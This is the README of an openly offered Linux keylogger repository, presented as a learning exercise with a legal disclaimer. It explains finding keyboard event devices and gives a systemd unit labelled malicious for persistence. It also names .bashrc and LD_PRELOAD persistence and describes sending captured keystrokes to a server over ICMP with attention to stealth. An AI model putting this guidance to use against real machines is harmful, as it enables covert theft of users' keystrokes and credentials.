mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
README.md (3502B)
      1 ~ simple linux keylogger
      2 
      3 > demo avaiable here: https://youtu.be/oR3cMLIxDhE
      4 
      5 # 1. disclaimer
      6 
      7 in practice, this software _will_ be detected. you wont get any use from deploying
      8 this. this is just meant as a demonstration on how malware for linux can be written,
      9 and to practice. i have decided to open-source this so that others can learn from it
     10 too but it would be **extremely dumb** from you to deploy it and use it against
     11 an oblivious victim (and also very illegal). Please only use this to learn about
     12 Linux's internals, like I have and run it in a Virtual Machine or a Linux environment
     13 **you** own that is safe to infect.
     14 
     15 I do not endorse the use of security tools for malicious use, nor do i wish to be
     16 responsible for your stupidity. thank u <3
     17 
     18 # 2. overall design & explanation
     19 
     20 Explanation on the code is available [here](https://djnn.sh/posts/linux_keylogger/).
     21 
     22 ## 2.a Logging keys
     23 
     24 There is many steps to do a project of the sort.
     25 
     26 First, you will need to find a keyboard of course !
     27 For this, I invite you to check on your Linux install the directory `/dev/input/by-path/`
     28 and you should see a symlink ending with `kbd`.
     29 That's your keyboard. You can see that it points to an event in the
     30 parent directory.
     31 
     32 You should be able to find this event using the `readlink()` function.
     33 You can also take into account that there might be multiple keyboards, because
     34 of an USB keyboard plugged in, for instance.
     35 
     36 ## 2.b persistence
     37 
     38 You can create a `systemd` service like so, in order to have it running at
     39 each reboot, if you'd like.
     40 
     41 ```systemd
     42 # Create a malicious systemd unit
     43 [Unit]
     44 Description=Keylogger
     45 
     46 [Service]
     47 ExecStart=/usr/bin/implant
     48 
     49 [Install]
     50 WantedBy=multi-user.target
     51 ```
     52 
     53 This is a fairly common technique, as is appending in `~/.profile` or `~/.bashrc`
     54 a call to your keylogger.
     55 
     56 Another method is compiling the program as a dynamic library (`.so`), and abusing the
     57 `LD_PRELOAD` / `/etc/ld.so.preload` trick to have it being ran every time the function
     58 you're hooking to is being called.
     59 
     60 However, this will be left as an exercise to you. :)~
     61 
     62 > Here is an [excellent resource](https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/) on persistence for linux
     63 
     64 ## 2.c managing language
     65 
     66 Current flow to manage languages:
     67   1. Open console device once
     68   2. Query all 256 keycodes for both normal and shifted tables
     69   3. Close console device (no longer needed)
     70   4. Event loop uses direct array lookups
     71 
     72 
     73 This make a LOT of ioctl syscalls at the startup of the program, which might not be ideal if you care about stealth.
     74 Afterwards, we save all key-presses into a ring buffer and push it through an ICMP packet to our server.
     75 
     76 If the user changes its keyboard layout, it will not be taken into account. It may be possible to add a
     77 scheduling system to re-fetch the keyboard language every n minutes or so but I couldnt be arsed to implement this.
     78 
     79 # 3. debug mode
     80 
     81 A `debug` mode is supported out of the box, to allow for a simpler development.
     82 To compile a debug binary, run `make fclean && make debug` in the `./implant`
     83 directory.
     84 
     85 It will allow you to troubleshoot memory issues and enable some logging and nice-to-have
     86 features. Here is the full detail here:
     87 * debug logs on error (either through `perror()` or using a simple logging system)
     88 * add support for a `-h` argument when running the binary, that explains the usage
     89 * compile with debug flags enabled, in order to use `valgrind` etc
     90